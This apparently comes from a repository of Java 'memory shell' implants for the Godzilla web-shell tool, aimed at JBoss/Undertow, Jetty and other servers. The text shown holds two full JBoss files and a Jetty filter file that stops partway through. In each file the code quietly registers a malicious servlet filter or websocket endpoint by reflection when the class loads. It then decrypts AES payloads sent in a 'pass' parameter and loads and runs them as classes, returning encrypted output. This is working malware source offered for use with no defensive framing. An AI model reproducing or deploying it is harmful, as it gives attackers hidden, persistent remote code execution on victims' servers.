├── GodzillaMemoryShellProject.iml ├── JBoosMemoryShell ├── JBoosMemoryShell.iml └── src │ ├── AesBase64JBossFilterShell.java │ └── AesJBossWebsocketShell.java ├── JettyMemoryShell ├── JettyMemoryShell.iml └── src │ ├── AesBase64JettyFilterShell.java │ ├── AesBase64JettyHandleShell.java │ └── AesJettyWebsocketShell.java ├── README.md ├── ResinMemoryShell ├── ResinMemoryShell.iml └── src │ └── AesBase64ResinFilterShell.java ├── TomcatMemoryShell ├── TomcatMemoryShell.iml └── src │ ├── AesBase64TomcatListenerShell.java │ └── AesTomcatWebsocketShell.java ├── WeblogicMemoryShell ├── WeblogicMemoryShell.iml └── src │ └── AesBase64WeblogicFilterShell.java └── libs ├── servlet-api.jar └── websocket-api.jar /GodzillaMemoryShellProject.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /JBoosMemoryShell/JBoosMemoryShell.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /JBoosMemoryShell/src/AesBase64JBossFilterShell.java: -------------------------------------------------------------------------------- 1 | import java.io.PrintWriter; 2 | import java.lang.reflect.Field; 3 | import java.lang.reflect.InvocationHandler; 4 | import java.lang.reflect.Method; 5 | import java.util.ArrayList; 6 | import java.util.HashSet; 7 | 8 | //all version undertow/wildfly 9 | public class AesBase64JBossFilterShell extends ClassLoader implements InvocationHandler { 10 | private static Class payloadClass; 11 | private String key = "3c6e0b8a9c15224a"; 12 | private String password = "pass"; 13 | 14 | 15 | static { 16 | new AesBase64JBossFilterShell().addFilter(); 17 | } 18 | 19 | public AesBase64JBossFilterShell(ClassLoader loader) { 20 | super(loader); 21 | } 22 | 23 | public AesBase64JBossFilterShell() { 24 | 25 | } 26 | 27 | private void addFilter() { 28 | try { 29 | Class servletFilterClass = null; 30 | try { 31 | servletFilterClass = loadClassEx("jakarta.servlet.Filter"); 32 | } catch (Exception e) { 33 | try { 34 | servletFilterClass = loadClassEx("javax.servlet.Filter"); 35 | } catch (ClassNotFoundException ex) { 36 | } 37 | } 38 | if (servletFilterClass != null) { 39 | addFilter(java.lang.reflect.Proxy.newProxyInstance(servletFilterClass.getClassLoader(), new Class[]{servletFilterClass}, this)); 40 | } 41 | } catch (Throwable e) { 42 | } 43 | } 44 | 45 | private static Object[] getContexts() throws Throwable { 46 | HashSet contexts = new HashSet(); 47 | Object servletRequestContext = loadClassEx("io.undertow.servlet.handlers.ServletRequestContext").getMethod("current").invoke(null); 48 | Object currentServletContext = servletRequestContext.getClass().getMethod("getCurrentServletContext").invoke(servletRequestContext); 49 | contexts.add(currentServletContext); 50 | return contexts.toArray(); 51 | } 52 | 53 | private boolean addFilter(Object filter) throws Throwable { 54 | boolean isOk = false; 55 | try { 56 | Object[] obj = getContexts(); 57 | for (int i = 0; i < obj.length; i++) { 58 | Object currentServletContext = obj[i]; 59 | try { 60 | Class dispatcherTypeClass = null; 61 | try { 62 | dispatcherTypeClass = loadClassEx("jakarta.servlet.DispatcherType"); 63 | } catch (ClassNotFoundException e) { 64 | dispatcherTypeClass = loadClassEx("javax.servlet.DispatcherType"); 65 | } 66 | 67 | Class filterInfoClass = loadClassEx("io.undertow.servlet.api.FilterInfo"); 68 | Class instanceFactoryClass = loadClassEx("io.undertow.servlet.api.InstanceFactory"); 69 | Class immediateInstanceFactoryClass = loadClassEx("io.undertow.servlet.util.ImmediateInstanceFactory"); 70 | Object deploymentInfo = getFieldValue(currentServletContext, "deploymentInfo"); 71 | Object immediateInstanceFactory = immediateInstanceFactoryClass.getConstructor(Object.class).newInstance(filter); 72 | Class targetFilter = filter.getClass(); 73 | Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class, instanceFactoryClass).newInstance(targetFilter.getName(), targetFilter, immediateInstanceFactory); 74 | deploymentInfo.getClass().getMethod("addFilter", filterInfoClass).invoke(deploymentInfo, filterInfo); 75 | Object deploymentImpl = getFieldValue(currentServletContext, "deployment"); 76 | Object managedFilters = deploymentImpl.getClass().getMethod("getFilters").invoke(deploymentImpl); 77 | managedFilters.getClass().getMethod("addFilter", filterInfoClass).invoke(managedFilters, filterInfo); 78 | deploymentInfo.getClass().getMethod("insertFilterUrlMapping", int.class, String.class, String.class, dispatcherTypeClass). 79 | invoke(deploymentInfo, 0, targetFilter.getName(), "/*", Enum.valueOf(dispatcherTypeClass, "REQUEST")); 80 | isOk = true; 81 | } catch (Throwable e) { 82 | 83 | } 84 | } 85 | } catch (Throwable e) { 86 | 87 | } 88 | 89 | 90 | return isOk; 91 | } 92 | 93 | private static Class loadClassEx(String className) throws ClassNotFoundException { 94 | try { 95 | return Class.forName(className); 96 | } catch (Throwable e) { 97 | try { 98 | return Class.forName(className, true, Thread.currentThread().getContextClassLoader()); 99 | } catch (Throwable ignored) { 100 | try { 101 | Thread[] threads = new Thread[Thread.activeCount()]; 102 | Thread.enumerate(threads); 103 | for (int i = 0; i < threads.length; i++) { 104 | Thread thread = threads[i]; 105 | if (thread == null) { 106 | continue; 107 | } 108 | try { 109 | ClassLoader loader = thread.getContextClassLoader(); 110 | return loader.loadClass(className); 111 | } catch (Throwable ignored2) { 112 | 113 | } 114 | 115 | } 116 | 117 | } catch (Throwable ignored2) { 118 | 119 | } 120 | } 121 | 122 | } 123 | throw new ClassNotFoundException(className); 124 | } 125 | 126 | private static Field getField(Object obj, String fieldName) { 127 | Class clazz = null; 128 | 129 | if (obj == null) { 130 | return null; 131 | } 132 | 133 | if (obj instanceof Class) { 134 | clazz = (Class) obj; 135 | } else { 136 | clazz = obj.getClass(); 137 | } 138 | Field field = null; 139 | while (clazz != null) { 140 | try { 141 | field = clazz.getDeclaredField(fieldName); 142 | clazz = null; 143 | } catch (Exception e) { 144 | clazz = clazz.getSuperclass(); 145 | } 146 | } 147 | 148 | if (field != null) { 149 | field.setAccessible(true); 150 | } 151 | 152 | return field; 153 | } 154 | 155 | private static Object getFieldValue(Object obj, String fieldName) throws Exception { 156 | Field f = null; 157 | if (obj instanceof Field) { 158 | f = (Field) obj; 159 | } else { 160 | f = getField(obj, fieldName); 161 | } 162 | if (f != null) { 163 | return f.get(obj); 164 | } 165 | return null; 166 | } 167 | 168 | 169 | private byte[] aes(byte[] s, boolean m) { 170 | try { 171 | javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); 172 | c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(key.getBytes(), "AES")); 173 | return c.doFinal(s); 174 | } catch (Exception e) { 175 | return null; 176 | } 177 | } 178 | 179 | private static String md5(String s) { 180 | String ret = null; 181 | try { 182 | java.security.MessageDigest m; 183 | m = java.security.MessageDigest.getInstance("MD5"); 184 | m.update(s.getBytes(), 0, s.length()); 185 | ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase(); 186 | } catch (Exception e) { 187 | } 188 | return ret; 189 | } 190 | 191 | private static String base64Encode(byte[] bs) throws Exception { 192 | Class base64; 193 | String value = null; 194 | try { 195 | base64 = Class.forName("java.util.Base64"); 196 | Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null); 197 | value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{ 198 | byte[].class 199 | }).invoke(Encoder, new Object[]{ 200 | bs 201 | }); 202 | } catch (Exception e) { 203 | try { 204 | base64 = Class.forName("sun.misc.BASE64Encoder"); 205 | Object Encoder = base64.newInstance(); 206 | value = (String) Encoder.getClass().getMethod("encode", new Class[]{ 207 | byte[].class 208 | }).invoke(Encoder, new Object[]{ 209 | bs 210 | }); 211 | } catch (Exception e2) { 212 | } 213 | } 214 | return value; 215 | } 216 | 217 | private static byte[] base64Decode(String bs) throws Exception { 218 | Class base64; 219 | byte[] value = null; 220 | try { 221 | base64 = Class.forName("java.util.Base64"); 222 | Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); 223 | value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{ 224 | String.class 225 | }).invoke(decoder, new Object[]{ 226 | bs 227 | }); 228 | } catch (Exception e) { 229 | try { 230 | base64 = Class.forName("sun.misc.BASE64Decoder"); 231 | Object decoder = base64.newInstance(); 232 | value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{ 233 | String.class 234 | }).invoke(decoder, new Object[]{ 235 | bs 236 | }); 237 | } catch (Exception e2) { 238 | } 239 | } 240 | return value; 241 | } 242 | 243 | private Object invokeMethod(Object obj, String methodName, Object... parameters) { 244 | try { 245 | ArrayList classes = new ArrayList(); 246 | if (parameters != null) { 247 | for (int i = 0; i < parameters.length; i++) { 248 | Object o1 = parameters[i]; 249 | if (o1 != null) { 250 | classes.add(o1.getClass()); 251 | } else { 252 | classes.add(null); 253 | } 254 | } 255 | } 256 | Method method = getMethodByClass(obj.getClass(), methodName, (Class[]) classes.toArray(new Class[]{})); 257 | 258 | return method.invoke(obj, parameters); 259 | } catch (Throwable e) { 260 | // e.printStackTrace(); 261 | } 262 | return null; 263 | } 264 | 265 | private Method getMethodByClass(Class cs, String methodName, Class... parameters) { 266 | Method method = null; 267 | while (cs != null) { 268 | try { 269 | method = cs.getMethod(methodName, parameters); 270 | cs = null; 271 | } catch (Exception e) { 272 | cs = cs.getSuperclass(); 273 | } 274 | } 275 | 276 | if (method != null) { 277 | try { 278 | method.setAccessible(true); 279 | } catch (Throwable e) { 280 | 281 | } 282 | } 283 | 284 | return method; 285 | } 286 | 287 | private String getParameter(Object requestObject, String name) { 288 | return (String) invokeMethod(requestObject, "getParameter", name); 289 | } 290 | 291 | private String getContentType(Object requestObject) { 292 | return (String) invokeMethod(requestObject, "getContentType"); 293 | } 294 | 295 | @Override 296 | public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { 297 | if (method.getName().equals("doFilter")) { 298 | Object servletRequest = args[0]; 299 | Object servletResponse = args[1]; 300 | Object filterChain = args[2]; 301 | if (!run(servletRequest, servletResponse)) { 302 | Class requestClass = method.getParameterTypes()[0]; 303 | Class responseClass = method.getParameterTypes()[1]; 304 | 305 | getMethodByClass(filterChain.getClass(), "doFilter", requestClass, responseClass).invoke(filterChain, servletRequest, servletResponse); 306 | } 307 | } 308 | return null; 309 | } 310 | 311 | private boolean run(Object request, Object response) { 312 | try { 313 | try { 314 | String contentType = getContentType(request); 315 | if (contentType != null && contentType.contains("application/x-www-form-urlencoded")) { 316 | String value = getParameter(request, password); 317 | if (value != null) { 318 | byte[] data = base64Decode(value); 319 | data = aes(data, false); 320 | if (data != null && data.length > 0) { 321 | if (payloadClass == null) { 322 | ClassLoader loader = Thread.currentThread().getContextClassLoader(); 323 | if (loader == null) { 324 | loader = request.getClass().getClassLoader(); 325 | } 326 | 327 | payloadClass = new AesBase64JBossFilterShell(loader).defineClass(data, 0, data.length); 328 | } else { 329 | java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); 330 | Object f = payloadClass.newInstance(); 331 | f.equals(arrOut); 332 | f.equals(request); 333 | f.equals(data); 334 | f.toString(); 335 | String md5 = md5(password + key); 336 | if (arrOut.size() > 0) { 337 | PrintWriter printWriter = (PrintWriter) invokeMethod(response, "getWriter"); 338 | printWriter.write(md5.substring(0, 16)); 339 | printWriter.write(base64Encode(aes(arrOut.toByteArray(), true))); 340 | printWriter.write(md5.substring(16)); 341 | return true; 342 | } 343 | } 344 | } 345 | } 346 | } 347 | 348 | } catch (Throwable ignored) { 349 | } 350 | } catch (Throwable ignored) { 351 | 352 | } 353 | return false; 354 | } 355 | } 356 | -------------------------------------------------------------------------------- /JBoosMemoryShell/src/AesJBossWebsocketShell.java: -------------------------------------------------------------------------------- 1 | import javax.servlet.ServletContext; 2 | import javax.websocket.Endpoint; 3 | import javax.websocket.EndpointConfig; 4 | import javax.websocket.MessageHandler; 5 | import javax.websocket.Session; 6 | import javax.websocket.server.ServerContainer; 7 | import javax.websocket.server.ServerEndpointConfig; 8 | import java.io.ByteArrayOutputStream; 9 | import java.io.IOException; 10 | import java.lang.reflect.Field; 11 | import java.lang.reflect.Method; 12 | import java.net.URL; 13 | import java.net.URLClassLoader; 14 | import java.nio.ByteBuffer; 15 | import java.util.HashSet; 16 | 17 | public class AesJBossWebsocketShell extends Endpoint implements MessageHandler.Whole{ 18 | private static boolean initialized = false; 19 | private static final Object lock = new Object(); 20 | private Class payload = null; 21 | private Session session = null; 22 | private String xc = "3c6e0b8a9c15224a"; 23 | private String pass = "pass"; 24 | 25 | 26 | static { 27 | new AesJBossWebsocketShell(); 28 | } 29 | 30 | public AesJBossWebsocketShell(){ 31 | synchronized (lock){ 32 | if (!initialized){ 33 | initialized = true; 34 | try { 35 | addEndpoint(this); 36 | }catch (Throwable ignored){ 37 | 38 | } 39 | } 40 | } 41 | } 42 | 43 | public AesJBossWebsocketShell(Session session){ 44 | this.session = session; 45 | } 46 | 47 | public static Object[] getContexts() throws Throwable { 48 | HashSet contexts = new HashSet(); 49 | Object servletRequestContext = loadClassEx("io.undertow.servlet.handlers.ServletRequestContext").getMethod("current").invoke(null); 50 | Object currentServletContext= servletRequestContext.getClass().getMethod("getCurrentServletContext").invoke(servletRequestContext); 51 | contexts.add(currentServletContext); 52 | return contexts.toArray(); 53 | } 54 | private boolean addEndpoint(Endpoint endpoint) throws Throwable { 55 | Object[] contexts = getContexts(); 56 | 57 | boolean isOk = false; 58 | 59 | try { 60 | for (int i = 0; i < contexts.length; i++) { 61 | Object context = contexts[i]; 62 | try { 63 | ServletContext servletContext = (ServletContext) context; 64 | int maxBinaryMessageBufferSize = 10485760; 65 | String websocketPath = String.format("/%s",pass); 66 | ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(endpoint.getClass(),websocketPath).build(); 67 | ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName()); 68 | Field deploymentCompleteField = getField(container,"deploymentComplete"); 69 | try { 70 | try { 71 | if (deploymentCompleteField!=null){ 72 | deploymentCompleteField.set(container,false); 73 | } 74 | }catch (Throwable e){ 75 | 76 | } 77 | 78 | if (container.getDefaultMaxBinaryMessageBufferSize() < maxBinaryMessageBufferSize){ 79 | container.setDefaultMaxBinaryMessageBufferSize(maxBinaryMessageBufferSize); 80 | } 81 | container.addEndpoint(configEndpoint); 82 | 83 | isOk = true; 84 | 85 | if (deploymentCompleteField!=null){ 86 | deploymentCompleteField.set(container,true); 87 | } 88 | 89 | } catch (Throwable e) { 90 | } 91 | } catch (Throwable e) { 92 | 93 | } 94 | } 95 | }catch (Throwable e){ 96 | 97 | } 98 | 99 | 100 | 101 | return isOk; 102 | } 103 | 104 | public static Field getField(Object obj, String fieldName){ 105 | Class clazz = null; 106 | 107 | if(obj == null){ 108 | return null; 109 | } 110 | 111 | if (obj instanceof Class){ 112 | clazz = (Class)obj; 113 | }else { 114 | clazz = obj.getClass(); 115 | } 116 | Field field = null; 117 | while (clazz!=null){ 118 | try { 119 | field = clazz.getDeclaredField(fieldName); 120 | clazz = null; 121 | }catch (Exception e){ 122 | clazz = clazz.getSuperclass(); 123 | } 124 | } 125 | 126 | if (field != null){ 127 | field.setAccessible(true); 128 | } 129 | 130 | return field; 131 | } 132 | 133 | static Class loadClassEx(String className) throws ClassNotFoundException{ 134 | try { 135 | return Class.forName(className); 136 | } catch (Throwable e) { 137 | try { 138 | return Class.forName(className, true, Thread.currentThread().getContextClassLoader()); 139 | } catch (Throwable ignored) { 140 | try { 141 | Thread[] threads = new Thread[Thread.activeCount()]; 142 | Thread.enumerate(threads); 143 | for (int i = 0; i < threads.length; i++) { 144 | Thread thread = threads[i]; 145 | if (thread == null) { 146 | continue; 147 | } 148 | try { 149 | ClassLoader loader = thread.getContextClassLoader(); 150 | return loader.loadClass(className); 151 | } catch (Throwable ignored2) { 152 | 153 | } 154 | 155 | } 156 | 157 | } catch (Throwable ignored2) { 158 | 159 | } 160 | } 161 | 162 | } 163 | throw new ClassNotFoundException(className); 164 | } 165 | 166 | public static Object getFieldValue(Object obj, String fieldName) throws Exception { 167 | Field f=null; 168 | if (obj instanceof Field){ 169 | f=(Field)obj; 170 | }else { 171 | f = getField(obj, fieldName); 172 | } 173 | if (f != null) { 174 | return f.get(obj); 175 | } 176 | return null; 177 | } 178 | public byte[] aes(byte[] s,boolean m){ 179 | try{ 180 | javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES"); 181 | c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES")); 182 | return c.doFinal(s); 183 | }catch (Exception e){ 184 | return null; 185 | } 186 | } 187 | 188 | public void onOpen(Session session, EndpointConfig endpointConfig) { 189 | session.addMessageHandler(new AesJBossWebsocketShell(session)); 190 | } 191 | 192 | private Class defClass(byte[] classBytes) throws Throwable { 193 | URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], AesJBossWebsocketShell.class.getClassLoader()); 194 | Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 195 | defineClassMethod.setAccessible(true); 196 | return (Class) defineClassMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length); 197 | } 198 | 199 | public void onMessage(ByteBuffer byteBuffer) { 200 | try { 201 | int limit = byteBuffer.limit(); 202 | byte[] data = new byte[limit]; 203 | byteBuffer.get(data,0,limit); 204 | data = aes(data,false); 205 | byte[] response = new byte[0]; 206 | if (payload == null) { 207 | payload = defClass(data); 208 | }else { 209 | ByteArrayOutputStream bos = new ByteArrayOutputStream(); 210 | Object obj = payload.newInstance(); 211 | obj.equals(data); 212 | obj.equals(bos); 213 | obj.toString(); 214 | response = bos.toByteArray(); 215 | } 216 | session.getBasicRemote().sendBinary(ByteBuffer.wrap(aes(response,true))); 217 | }catch (Throwable e){ 218 | try { 219 | session.close(); 220 | } catch (IOException ex) { 221 | 222 | } 223 | } 224 | } 225 | } 226 | -------------------------------------------------------------------------------- /JettyMemoryShell/JettyMemoryShell.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /JettyMemoryShell/src/AesBase64JettyFilterShell.java: -------------------------------------------------------------------------------- 1 | import java.io.PrintWriter; 2 | import java.lang.reflect.*; 3 | import java.util.*; 4 | 5 | //jetty7-12 test 6 | public class AesBase64JettyFilterShell extends ClassLoader implements InvocationHandler { 7 | private static Class payloadClass; 8 | private String key = "3c6e0b8a9c15224a"; 9 | private String password = "pass"; 10 | 11 | 12 | static { 13 | new AesBase64JettyFilterShell().addFilter(); 14 | } 15 | 16 | public AesBase64JettyFilterShell(ClassLoader loader) { 17 | super(loader); 18 | } 19 | 20 | public AesBase64JettyFilterShell() { 21 | 22 | } 23 | 24 | private void addFilter() { 25 | try { 26 | addFilter(this); 27 | } catch (Throwable e) { 28 | 29 | } 30 | } 31 | 32 | private Class loadClasses(String className) throws ClassNotFoundException { 33 | ArrayList classLoaders = new ArrayList(); 34 | classLoaders.add(this.getClass().getClassLoader()); 35 | try { 36 | classLoaders.add(Thread.currentThread().getContextClassLoader()); 37 | ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); 38 | int threadCount = threadGroup.activeCount(); 39 | Thread[] threads = new Thread[threadCount]; 40 | threadCount = threadGroup.enumerate(threads); 41 | for (int i = 0; i < threadCount; i++) { 42 | classLoaders.add(threads[i].getContextClassLoader()); 43 | } 44 | } catch (Exception e) { 45 | 46 | } 47 | int loaders = classLoaders.size(); 48 | for (int i = 0; i < loaders; i++) { 49 | ClassLoader loader = (ClassLoader) classLoaders.get(i); 50 | if (loader != null) { 51 | try { 52 | return Class.forName(className, true, loader); 53 | } catch (Throwable e) { 54 | 55 | } 56 | } 57 | } 58 | return Class.forName(className); 59 | } 60 | 61 | 62 | private Object[] getObjectValues(Object obj, Class clazz) { 63 | HashSet values = new HashSet(); 64 | 65 | try { 66 | if (clazz == null) { 67 | clazz = obj.getClass(); 68 | } 69 | Field[] fields = obj.getClass().getDeclaredFields(); 70 | 71 | for (int i = 0; i < fields.length; i++) { 72 | try { 73 | Field field = fields[i]; 74 | field.setAccessible(true); 75 | Object object = field.get(obj); 76 | if (object != null) { 77 | values.add(object); 78 | } 79 | } catch (Throwable ignored) { 80 | 81 | } 82 | } 83 | clazz = clazz.getSuperclass(); 84 | if (clazz != null) { 85 | getObjectValues(obj, clazz); 86 | } 87 | } catch (Throwable ignored) { 88 | 89 | } 90 | 91 | return values.toArray(); 92 | } 93 | 94 | private void getHandles(HashSet handles, Object handle, Class handlerClass) { 95 | if (handle == null || handles.contains(handle)) { 96 | return; 97 | } 98 | handles.add(handle); 99 | 100 | Object[] objects = getObjectValues(handle, handle.getClass()); 101 | for (int i = 0; i < objects.length; i++) { 102 | Object object = objects[i]; 103 | if (handlerClass.isInstance(object)) { 104 | getHandles(handles, object, handlerClass); 105 | } 106 | } 107 | 108 | Object newHandleObject = invokeMethod(handle, "getHandlers"); 109 | if (newHandleObject != null) { 110 | if (Collection.class.isInstance(newHandleObject)) { 111 | newHandleObject = ((Collection) newHandleObject).toArray(); 112 | } 113 | if (newHandleObject.getClass().isArray()) { 114 | int handleSize = Array.getLength(newHandleObject); 115 | for (int i = 0; i < handleSize; i++) { 116 | getHandles(handles, Array.get(newHandleObject, i), handlerClass); 117 | } 118 | } 119 | } 120 | } 121 | 122 | private Object[] getHandles() { 123 | HashSet handles = new HashSet(); 124 | 125 | try { 126 | Class contextHandlerClass = loadClasses("org.eclipse.jetty.server.handler.ContextHandler"); 127 | Method getCurrentContextMethod = getMethodByClass(contextHandlerClass, "getCurrentContext"); 128 | Object context = getCurrentContextMethod.invoke(null); 129 | 130 | Object webAppContext = invokeMethod(context, "getContextHandler"); 131 | Object jettyServer = invokeMethod(webAppContext, "getServer"); 132 | 133 | Class handlerClass = contextHandlerClass.getClassLoader().loadClass("org.eclipse.jetty.server.Handler"); 134 | 135 | getHandles(handles, context, handlerClass); 136 | getHandles(handles, webAppContext, handlerClass); 137 | getHandles(handles, jettyServer, handlerClass); 138 | 139 | Thread[] threads = new Thread[Thread.activeCount()]; 140 | Thread.enumerate(threads); 141 | for (int i = 0; i < threads.length; i++) { 142 | Thread thread = threads[i]; 143 | if (thread != null) { 144 | getHandles(handles, thread.getContextClassLoader(), handlerClass); 145 | } 146 | } 147 | } catch (Throwable e) { 148 | 149 | } 150 | return handles.toArray(); 151 | } 152 | 153 | private boolean addFilter(InvocationHandler filterInvocationHandler) throws Throwable { 154 | boolean isOk = false; 155 | try { 156 | Object[] obj = getHandles(); 157 | for (int i = 0; i < obj.length; i++) { 158 | Object handlerObject = obj[i]; 159 | try { 160 | Class handlerClass = handlerObject.getClass(); 161 | Field _filtersField = getField(handlerObject, "_filters"); 162 | Field _filterMappingsField = getField(handlerObject, "_filterMappings"); 163 | if (_filtersField == null || _filterMappingsField == null) { 164 | continue; 165 | } 166 | 167 | 168 | Class filterHolderClass = null; 169 | Class filterMappingClass = null; 170 | 171 | if (_filtersField.getType().isArray()) { 172 | filterHolderClass = _filtersField.getType().getComponentType(); 173 | } else { 174 | filterHolderClass = (Class) ((ParameterizedType) _filtersField.getGenericType()).getActualTypeArguments()[0]; 175 | } 176 | 177 | if (_filterMappingsField.getType().isArray()) { 178 | filterMappingClass = _filterMappingsField.getType().getComponentType(); 179 | } else { 180 | filterMappingClass = (Class) ((ParameterizedType) _filterMappingsField.getGenericType()).getActualTypeArguments()[0]; 181 | } 182 | 183 | Class servletRequestFilterClass = null; 184 | Constructor filterHolderConstructor = null; 185 | try { 186 | servletRequestFilterClass = loadClasses("jakarta.servlet.Filter"); 187 | filterHolderConstructor = filterHolderClass.getConstructor(servletRequestFilterClass); 188 | } catch (Exception e) { 189 | try { 190 | servletRequestFilterClass = loadClasses("javax.servlet.Filter"); 191 | filterHolderConstructor = filterHolderClass.getConstructor(servletRequestFilterClass); 192 | } catch (ClassNotFoundException ex) { 193 | 194 | } 195 | } 196 | 197 | 198 | Object filter = Proxy.newProxyInstance(servletRequestFilterClass.getClassLoader(), new Class[]{servletRequestFilterClass}, filterInvocationHandler); 199 | Object filterHolder = filterHolderConstructor.newInstance(filter); 200 | Object filterMapping = filterMappingClass.newInstance(); 201 | Method setFilterHolderMethod = filterMappingClass.getDeclaredMethod("setFilterHolder", filterHolderClass); 202 | setFilterHolderMethod.setAccessible(true); 203 | setFilterHolderMethod.invoke(filterMapping, filterHolder); 204 | filterMappingClass.getMethod("setPathSpecs", String[].class).invoke(filterMapping, new Object[]{new String[]{"/*"}}); 205 | 206 | 207 | getMethodByClass(handlerClass, "addFilter", filterHolderClass).invoke(handlerObject, filterHolder); 208 | getMethodByClass(handlerClass, "prependFilterMapping", filterMappingClass).invoke(handlerObject, filterMapping); 209 | isOk = true; 210 | } catch (Throwable e) { 211 | 212 | } 213 | } 214 | } catch (Throwable e) { 215 | 216 | } 217 | 218 | 219 | return isOk; 220 | } 221 | 222 | 223 | public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { 224 | if (method.getName().equals("doFilter")) { 225 | Object servletRequest = args[0]; 226 | Object servletResponse = args[1]; 227 | Object filterChain = args[2]; 228 | if (!run(servletRequest, servletResponse)) { 229 | Class requestClass = method.getParameterTypes()[0]; 230 | Class responseClass = method.getParameterTypes()[1]; 231 | 232 | getMethodByClass(filterChain.getClass(), "doFilter", requestClass, responseClass).invoke(filterChain, servletRequest, servletResponse); 233 | } 234 | } 235 | return null; 236 | } 237 | 238 | private Object invokeMethod(Object obj, String methodName, Object... parameters) { 239 | try { 240 | ArrayList classes = new ArrayList(); 241 | if (parameters != null) { 242 | for (int i = 0; i < parameters.length; i++) { 243 | Object o1 = parameters[i]; 244 | if (o1 != null) { 245 | classes.add(o1.getClass()); 246 | } else { 247 | classes.add(null); 248 | } 249 | } 250 | } 251 | Method method = getMethodByClass(obj.getClass(), methodName, (Class[]) classes.toArray(new Class[]{})); 252 | 253 | return method.invoke(obj, parameters); 254 | } catch (Throwable e) { 255 | // e.printStackTrace(); 256 | } 257 | return null; 258 | } 259 | 260 | private Method getMethodByClass(Class cs, String methodName, Class... parameters) { 261 | Method method = null; 262 | while (cs != null) { 263 | try { 264 | method = cs.getMethod(methodName, parameters); 265 | cs = null; 266 | } catch (Exception e) { 267 | cs = cs.getSuperclass(); 268 | } 269 | } 270 | 271 | if (method != null) { 272 | try { 273 | method.setAccessible(true); 274 | } catch (Throwable e) { 275 | 276 | } 277 | } 278 | 279 | return method; 280 | } 281 | 282 | private static Field getField(Object obj, String fieldName) { 283 | Class clazz = null; 284 | 285 | if (obj == null) { 286 | return null; 287 | } 288 | 289 | if (obj instanceof Class) { 290 | clazz = (Class) obj; 291 | } else { 292 | clazz = obj.getClass(); 293 | } 294 | Field field = null; 295 | while (clazz != null) { 296 | try { 297 | field = clazz.getDeclaredField(fieldName); 298 | clazz = null; 299 | } catch (Exception e) { 300 | clazz = clazz.getSuperclass(); 301 | } 302 | } 303 | 304 | if (field != null) { 305 | field.setAccessible(true); 306 | } 307 | 308 | return field; 309 | } 310 | 311 | private String getParameter(Object requestObject, String name) { 312 | return (String) invokeMethod(requestObject, "getParameter", name); 313 | } 314 | 315 | private String getContentType(Object requestObject) { 316 | return (String) invokeMethod(requestObject, "getContentType"); 317 | } 318 | 319 | 320 | private byte[] aes(byte[] s, boolean m) { 321 | try { 322 | javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); 323 | c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(key.getBytes(), "AES")); 324 | return c.doFinal(s); 325 | } catch (Exception e) { 326 | return null; 327 | } 328 | } 329 | 330 | private static String md5(String s) { 331 | String ret = null; 332 | try { 333 | java.security.MessageDigest m; 334 | m = java.security.MessageDigest.getInstance("MD5"); 335 | m.update(s.getBytes(), 0, s.length()); 336 | ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase(); 337 | } catch (Exception e) { 338 | } 339 | return ret; 340 | } 341 | 342 | private static String base64Encode(byte[] bs) throws Exception { 343 | Class base64; 344 | String value = null; 345 | try { 346 | base64 = Class.forName("java.util.Base64"); 347 | Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null); 348 | value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); 349 | } catch (Exception e) { 350 | try { 351 | base64 = Class.forName("sun.misc.BASE64Encoder"); 352 | Object Encoder = base64.newInstance(); 353 | value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); 354 | } catch (Exception e2) { 355 | } 356 | } 357 | return value; 358 | } 359 | 360 | private static byte[] base64Decode(String bs) throws Exception { 361 | Class base64; 362 | byte[] value = null; 363 | try { 364 | base64 = Class.forName("java.util.Base64"); 365 | Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); 366 | value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); 367 | } catch (Exception e) { 368 | try { 369 | base64 = Class.forName("sun.misc.BASE64Decoder"); 370 | Object decoder = base64.newInstance(); 371 | value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); 372 | } catch (Exception e2) { 373 | } 374 | } 375 | return value; 376 | } 377 | 378 | private boolean run(Object request, Object response) { 379 | try { 380 | try { 381 | String contentType = getContentType(request); 382 | if (contentType != null && contentType.contains("application/x-www-form-urlencoded")) { 383 | String value = getParameter(request, password); 384 | if (value != null) { 385 | byte[] data = base64Decode(value); 386 | data = aes(data, false); 387 | if (data != null && data.length > 0) { 388 | if (payloadClass == null) { 389 | ClassLoader loader = 